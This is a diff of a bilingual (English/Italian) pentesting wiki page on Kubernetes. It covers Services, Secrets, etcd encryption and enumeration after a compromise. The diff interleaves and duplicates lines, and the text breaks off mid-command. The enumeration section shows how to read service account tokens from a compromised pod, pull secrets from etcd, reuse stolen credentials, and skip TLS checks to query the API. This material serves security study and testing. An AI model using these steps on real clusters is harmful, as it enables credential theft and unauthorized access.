kind: Service
metadata:
name: mongo-express-service
name: mongo-express-service
spec:
selector:
app: mongo-express
type: LoadBalancer
ports:
- protocol: TCP
port: 8081
targetPort: 8081
nodePort: 30000
selector:
app: mongo-express
type: LoadBalancer
ports:
- protocol: TCP
port: 8081
targetPort: 8081
nodePort: 30000
```
> [!NOTE]
> This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
> Questo è utile per i test, ma per la produzione dovresti avere solo servizi interni e un Ingress per esporre l'applicazione.
**Example of Ingress config file**
This will expose the application in `http://dashboard.com`.
**Esempio di file di configurazione Ingress**
Questo esporrà l'applicazione in `http://dashboard.com`.
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: dashboard-ingress
namespace: kubernetes-dashboard
name: dashboard-ingress
namespace: kubernetes-dashboard
spec:
rules:
- host: dashboard.com
http:
paths:
- backend:
serviceName: kubernetes-dashboard
servicePort: 80
rules:
- host: dashboard.com
http:
paths:
- backend:
serviceName: kubernetes-dashboard
servicePort: 80
```
**Esempio di file di configurazione dei segreti**
**Example of secrets config file**
Note how the password are encoded in B64 (which isn't secure!)
Nota come le password siano codificate in B64 (che non è sicuro!)
```yaml
apiVersion: v1
kind: Secret
metadata:
name: mongodb-secret
name: mongodb-secret
type: Opaque
data:
mongo-root-username: dXNlcm5hbWU=
mongo-root-password: cGFzc3dvcmQ=
mongo-root-username: dXNlcm5hbWU=
mongo-root-password: cGFzc3dvcmQ=
```
**Esempio di ConfigMap**
**Example of ConfigMap**
A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb):
Una **ConfigMap** è la configurazione che viene fornita ai pod affinché sappiano come localizzare e accedere ad altri servizi. In questo caso, ogni pod saprà che il nome `mongodb-service` è l'indirizzo di un pod con cui possono comunicare (questo pod eseguirà un mongodb):
```yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: mongodb-configmap
name: mongodb-configmap
data:
database_url: mongodb-service
database_url: mongodb-service
```
Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod:
Poi, all'interno di una **deployment config**, questo indirizzo può essere specificato nel seguente modo affinché venga caricato all'interno dell'env del pod:
```yaml
[...]
spec:
[...]
template:
[...]
spec:
containers:
- name: mongo-express
image: mongo-express
ports:
- containerPort: 8081
env:
- name: ME_CONFIG_MONGODB_SERVER
valueFrom:
configMapKeyRef:
name: mongodb-configmap
key: database_url
[...]
template:
[...]
spec:
containers:
- name: mongo-express
image: mongo-express
ports:
- containerPort: 8081
env:
- name: ME_CONFIG_MONGODB_SERVER
valueFrom:
configMapKeyRef:
name: mongodb-configmap
key: database_url
[...]
```
**Esempio di configurazione del volume**
**Example of volume config**
Puoi trovare diversi esempi di file di configurazione dello storage in formato yaml su [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
**Nota che i volumi non sono all'interno dei namespace**
You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
**Note that volumes aren't inside namespaces**
### Namespace
### Namespaces
Kubernetes supporta **più cluster virtuali** supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati **namespace**. Sono destinati all'uso in ambienti con molti utenti distribuiti su più team o progetti. Per cluster con pochi o decine di utenti, non dovresti aver bisogno di creare o pensare ai namespace. Dovresti iniziare a utilizzare i namespace per avere un migliore controllo e organizzazione di ciascuna parte dell'applicazione distribuita in kubernetes.
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes.
Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
There are 4 namespaces by default if you are using minikube:
I namespace forniscono un ambito per i nomi. I nomi delle risorse devono essere unici all'interno di un namespace, ma non tra i namespace. I namespace non possono essere annidati l'uno dentro l'altro e **ogni** risorsa **Kubernetes** può essere **in** **un** **solo** **namespace**.
Ci sono 4 namespace per impostazione predefinita se stai usando minikube:
```
kubectl get namespace
NAME STATUS AGE
@@ -331,116 +312,108 @@ kube-node-lease Active 1d
kube-public Active 1d
kube-system Active 1d
```
- **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
- **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
- **kube-node-lease**: Determines the availability of a node
- **default**: The namespace the user will use to create resources
- **kube-system**: Non è destinato all'uso degli utenti e non dovresti toccarlo. È per i processi master e kubectl.
- **kube-public**: Dati accessibili pubblicamente. Contiene un configmap che contiene informazioni sul cluster.
- **kube-node-lease**: Determina la disponibilità di un nodo.
- **default**: Lo spazio dei nomi che l'utente utilizzerà per creare risorse.
```bash
#Create namespace
kubectl create namespace my-namespace
```
> [!NOTE]
> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
> Nota che la maggior parte delle risorse Kubernetes (ad es. pod, servizi, controller di replica e altre) si trovano in alcuni namespace. Tuttavia, altre risorse come le risorse di namespace e risorse a basso livello, come nodi e persistenVolumes, non si trovano in un namespace. Per vedere quali risorse Kubernetes sono e non sono in un namespace:
>
> ```bash
> kubectl api-resources --namespaced=true #In a namespace
> kubectl api-resources --namespaced=false #Not in a namespace
> kubectl api-resources --namespaced=true #In un namespace
> kubectl api-resources --namespaced=false #Non in un namespace
> ```
You can save the namespace for all subsequent kubectl commands in that context.
Puoi salvare il namespace per tutti i successivi comandi kubectl in quel contesto.
```bash
kubectl config set-context --current --namespace=<insert-namespace-name-here>
```
### Helm
Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**.
Helm è il **gestore di pacchetti** per Kubernetes. Consente di impacchettare file YAML e distribuirli in repository pubblici e privati. Questi pacchetti sono chiamati **Helm Charts**.
```
helm search <keyword>
```
Helm is also a template engine that allows to generate config files with variables:
Helm è anche un motore di template che consente di generare file di configurazione con variabili:
## Kubernetes secrets
A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
Un **Secret** è un oggetto che **contiene dati sensibili** come una password, un token o una chiave. Tali informazioni potrebbero altrimenti essere inserite in una specifica di Pod o in un'immagine. Gli utenti possono creare Secrets e il sistema crea anche Secrets. Il nome di un oggetto Secret deve essere un valido **nome di sottodominio DNS**. Leggi qui [la documentazione ufficiale](https://kubernetes.io/docs/concepts/configuration/secret/).
Secrets might be things like:
I Secrets possono essere cose come:
- API, SSH Keys.
- OAuth tokens.
- Credentials, Passwords (plain text or b64 + encryption).
- Information or comments.
- Database connection code, strings… .
- API, chiavi SSH.
- Token OAuth.
- Credenziali, password (testo normale o b64 + crittografia).
- Informazioni o commenti.
- Codice di connessione al database, stringhe… .
There are different types of secrets in Kubernetes
Ci sono diversi tipi di secrets in Kubernetes
| Builtin Type | Usage |
| ----------------------------------- | ----------------------------------------- |
| **Opaque** | **arbitrary user-defined data (Default)** |
| kubernetes.io/service-account-token | service account token |
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
| kubernetes.io/basic-auth | credentials for basic authentication |
| kubernetes.io/ssh-auth | credentials for SSH authentication |
| kubernetes.io/tls | data for a TLS client or server |
| bootstrap.kubernetes.io/token | bootstrap token data |
| Tipo incorporato | Utilizzo |
| ------------------------------------ | ------------------------------------------ |
| **Opaque** | **dati arbitrari definiti dall'utente (Predefinito)** |
| kubernetes.io/service-account-token | token dell'account di servizio |
| kubernetes.io/dockercfg | file \~/.dockercfg serializzato |
| kubernetes.io/dockerconfigjson | file \~/.docker/config.json serializzato |
| kubernetes.io/basic-auth | credenziali per l'autenticazione di base |
| kubernetes.io/ssh-auth | credenziali per l'autenticazione SSH |
| kubernetes.io/tls | dati per un client o server TLS |
| bootstrap.kubernetes.io/token | dati del token di avvio |
> [!NOTE]
> **The Opaque type is the default one, the typical key-value pair defined by users.**
> **Il tipo Opaque è quello predefinito, la tipica coppia chiave-valore definita dagli utenti.**
**How secrets works:**
**Come funzionano i secrets:**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
Il seguente file di configurazione definisce un **secret** chiamato `mysecret` con 2 coppie chiave-valore `username: YWRtaW4=` e `password: MWYyZDFlMmU2N2Rm`. Definisce anche un **pod** chiamato `secretpod` che avrà il `username` e la `password` definiti in `mysecret` esposti nelle **variabili di ambiente** `SECRET_USERNAME` \_\_ e \_\_ `SECRET_PASSWOR`. Monta anche il secret `username` all'interno di `mysecret` nel percorso `/etc/foo/my-group/my-username` con permessi `0640`.
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
metadata:
name: mysecret
name: mysecret
type: Opaque
data:
username: YWRtaW4=
password: MWYyZDFlMmU2N2Rm
username: YWRtaW4=
password: MWYyZDFlMmU2N2Rm
---
apiVersion: v1
kind: Pod
metadata:
name: secretpod
name: secretpod
spec:
containers:
- name: secretpod
image: nginx
env:
- name: SECRET_USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
- name: SECRET_PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
volumeMounts:
- name: foo
mountPath: "/etc/foo"
restartPolicy: Never
volumes:
- name: foo
secret:
secretName: mysecret
items:
- key: username
path: my-group/my-username
mode: 0640
containers:
- name: secretpod
image: nginx
env:
- name: SECRET_USERNAME
valueFrom:
secretKeyRef:
name: mysecret
key: username
- name: SECRET_PASSWORD
valueFrom:
secretKeyRef:
name: mysecret
key: password
volumeMounts:
- name: foo
mountPath: "/etc/foo"
restartPolicy: Never
volumes:
- name: foo
secret:
secretName: mysecret
items:
- key: username
path: my-group/my-username
mode: 0640
```
```bash
@@ -449,114 +422,97 @@ kubectl get pods #Wait until the pod secretpod is running
kubectl exec -it secretpod -- bash
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd:
**etcd** è un archivio **key-value** consistente e altamente disponibile utilizzato come archivio di supporto per tutti i dati del cluster in Kubernetes. Accediamo ai segreti memorizzati in etcd:
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd.
Vedrai i certificati, le chiavi e gli URL che si trovano nel FS. Una volta ottenuti, sarai in grado di connetterti a etcd.
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
```
Once you achieve establish communication you would be able to get the secrets:
Una volta stabilita la comunicazione, sarai in grado di ottenere i segreti:
```bash
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
```
**Aggiungere crittografia all'ETCD**
**Adding encryption to the ETCD**
By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
Per impostazione predefinita, tutti i segreti sono **memorizzati in testo semplice** all'interno di etcd a meno che non si applichi uno strato di crittografia. L'esempio seguente si basa su [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
```yaml:encryption.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
```
After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
Dopo di ciò, è necessario impostare il flag `--encryption-provider-config` sul `kube-apiserver` per puntare alla posizione del file di configurazione creato. Puoi modificare `/etc/kubernetes/manifest/kube-apiserver.yaml` e aggiungere le seguenti righe:
```yaml
containers:
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
- command:
- kube-apiserver
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
```
Scroll down in the volumeMounts:
Scorri verso il basso in volumeMounts:
```yaml
- mountPath: /etc/kubernetes/etcd
name: etcd
readOnly: true
name: etcd
readOnly: true
```
Scroll down in the volumeMounts to hostPath:
Scorri verso il basso in volumeMounts fino a hostPath:
```yaml
- hostPath:
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
path: /etc/kubernetes/etcd
type: DirectoryOrCreate
name: etcd
```
**Verifica che i dati siano crittografati**
I dati sono crittografati quando scritti in etcd. Dopo aver riavviato il tuo `kube-apiserver`, qualsiasi segreto creato o aggiornato dovrebbe essere crittografato quando memorizzato. Per controllare, puoi utilizzare il programma da riga di comando `etcdctl` per recuperare il contenuto del tuo segreto.
1. Crea un nuovo segreto chiamato `secret1` nel namespace `default`:
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
**Verifying that data is encrypted**
2. Utilizzando la riga di comando etcdctl, leggi quel segreto da etcd:
Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret.
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
1. Create a new secret called `secret1` in the `default` namespace:
dove `[...]` deve essere gli argomenti aggiuntivi per connettersi al server etcd.
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
```
3. Verifica che il segreto memorizzato sia preceduto da `k8s:enc:aescbc:v1:`, il che indica che il provider `aescbc` ha crittografato i dati risultanti.
4. Verifica che il segreto sia correttamente decrittografato quando recuperato tramite l'API:
2. Using the etcdctl commandline, read that secret out of etcd:
```
kubectl describe secret secret1 -n default
```
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
where `[...]` must be the additional arguments for connecting to the etcd server.
3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
4. Verify the secret is correctly decrypted when retrieved via the API:
```
kubectl describe secret secret1 -n default
```
should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret.
**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
dovrebbe corrispondere a `mykey: bXlkYXRh`, mydata è codificato, controlla [decodifica di un segreto](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) per decodificare completamente il segreto.
**Poiché i segreti sono crittografati in scrittura, eseguire un aggiornamento su un segreto crittograferà quel contenuto:**
```
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
```
**Suggerimenti finali:**
**Final tips:**
- Try not to keep secrets in the FS, get them from other places.
- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
- Cerca di non tenere segreti nel FS, prendili da altri luoghi.
- Controlla [https://www.vaultproject.io/](https://www.vaultproject.io) per aggiungere più protezione ai tuoi segreti.
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
## References
## Riferimenti
{{#ref}}
https://sickrov.github.io/
@@ -567,7 +523,3 @@ https://www.youtube.com/watch?v=X48VuDVv0do
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

326
src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
View File

@@ -4,91 +4,86 @@
## Kubernetes Tokens
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova solitamente in un file indicato dalla **variabile d'ambiente `KUBECONFIG`** o **all'interno di `~/.kube`**.
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
In questa cartella potresti trovare file di configurazione con **token e configurazioni per connettersi al server API**. In questa cartella puoi anche trovare una cartella di cache con informazioni precedentemente recuperate.
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
Se hai compromesso un pod all'interno di un ambiente kubernetes, ci sono altri luoghi dove puoi trovare token e informazioni sull'attuale ambiente K8:
### Service Account Tokens
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
Prima di continuare, se non sai cosa sia un servizio in Kubernetes, ti consiglio di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.**
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
Preso dalla [documentazione](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes:
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
_“Quando crei un pod, se non specifichi un service account, viene automaticamente assegnato il_ service account _predefinito nello stesso namespace.”_
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
**ServiceAccount** è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità per i processi che vengono eseguiti in un pod.\
Ogni service account ha un segreto ad esso correlato e questo segreto contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti.
Usually **one** of the directories:
Di solito **uno** delle directory:
- `/run/secrets/kubernetes.io/serviceaccount`
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
contain the files:
contiene i file:
- **ca.crt**: It's the ca certificate to check kubernetes communications
- **namespace**: It indicates the current namespace
- **token**: It contains the **service token** of the current pod.
- **ca.crt**: È il certificato ca per controllare le comunicazioni kubernetes
- **namespace**: Indica l'attuale namespace
- **token**: Contiene il **token di servizio** dell'attuale pod.
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente **`KUBECONFIG`**. Per ulteriori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`**
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
Il token del service account viene firmato dalla chiave presente nel file **sa.key** e convalidato da **sa.pub**.
Default location on **Kubernetes**:
Posizione predefinita su **Kubernetes**:
- /etc/kubernetes/pki
Default location on **Minikube**:
Posizione predefinita su **Minikube**:
- /var/lib/localkube/certs
### Hot Pods
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
_**Hot pods sono**_ pods che contengono un token di service account privilegiato. Un token di service account privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc.
## RBAC
If you don't know what is **RBAC**, **read this section**.
Se non sai cosa sia **RBAC**, **leggi questa sezione**.
## GUI Applications
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
- **k9s**: Un'interfaccia grafica che enumera un cluster kubernetes dal terminale. Controlla i comandi in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona tutto per poi cercare risorse in tutti i namespace.
- **k8slens**: Offre alcuni giorni di prova gratuita: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
In order to enumerate a K8s environment you need a couple of this:
Per enumerare un ambiente K8s hai bisogno di un paio di queste:
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
- Un **token di autenticazione valido**. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di service account.
- L'**indirizzo (**_**https://host:port**_**) dell'API Kubernetes**. Questo può essere solitamente trovato nelle variabili d'ambiente e/o nel file di configurazione kube.
- **Opzionale**: Il **ca.crt per verificare il server API**. Questo può essere trovato negli stessi luoghi in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non avrai bisogno di questo.
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
Con questi dettagli puoi **enumerare kubernetes**. Se l'**API** per qualche motivo è **accessibile** attraverso l'**Internet**, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host.
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
Tuttavia, di solito il **server API è all'interno di una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usare **`curl/wget/anything`** per eseguire richieste HTTP raw al server API.
### Differences between `list` and `get` verbs
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
Con i permessi **`get`** puoi accedere alle informazioni di asset specifici (_opzione `describe` in `kubectl`_) API:
```
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
```
If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):
Se hai il permesso **`list`**, ti è consentito eseguire richieste API per elencare un tipo di risorsa (_`get` opzione in `kubectl`_):
```bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
Se hai il permesso **`watch`**, ti è consentito eseguire richieste API per monitorare le risorse:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -96,16 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
```
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
Aprono una connessione streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).
> [!CAUTION]
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se vuoi accedere ai dati, devi usare `describe` invece di `get`.
### Using curl
From inside a pod you can use several env variables:
### Utilizzando curl
Dall'interno di un pod puoi usare diverse variabili d'ambiente:
```bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
@@ -115,28 +108,24 @@ export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
> Per impostazione predefinita, il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" della stessa gamma è l'endpoint kube-api).
### Using kubectl
### Utilizzando kubectl
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
By default, The APISERVER is communicating with `https://` schema
Avendo il token e l'indirizzo del server API, utilizzi kubectl o curl per accedervi come indicato qui:
Per impostazione predefinita, l'APISERVER comunica con lo schema `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
> se non c'è `https://` nell'url, potresti ricevere un errore come Bad Request.
> if no `https://` in url, you may get Error Like Bad Request.
Puoi trovare un [**foglio di riferimento ufficiale di kubectl qui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.
You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`
Per trovare la richiesta HTTP che `kubectl` invia, puoi usare il parametro `-v=8`
#### MitM kubectl - Proxyfying kubectl
```bash
# Launch burp
# Set proxy
@@ -145,12 +134,10 @@ export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
```
### Current Configuration
### Configurazione Attuale
{{#tabs }}
{{#tab name="Kubectl" }}
```bash
kubectl config get-users
kubectl config get-contexts
@@ -160,43 +147,37 @@ kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
```
{{#endtab }}
{{#endtabs }}
If you managed to steal some users credentials you can **configure them locally** using something like:
Se sei riuscito a rubare le credenziali di alcuni utenti, puoi **configurarle localmente** utilizzando qualcosa come:
```bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
```
### Ottieni Risorse Supportate
### Get Supported Resources
With this info you will know all the services you can list
Con queste informazioni saprai tutti i servizi che puoi elencare
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
```
{{#endtab }}
{{#endtabs }}
### Get Current Privileges
### Ottieni Privilegi Correnti
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
@@ -204,413 +185,342 @@ k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
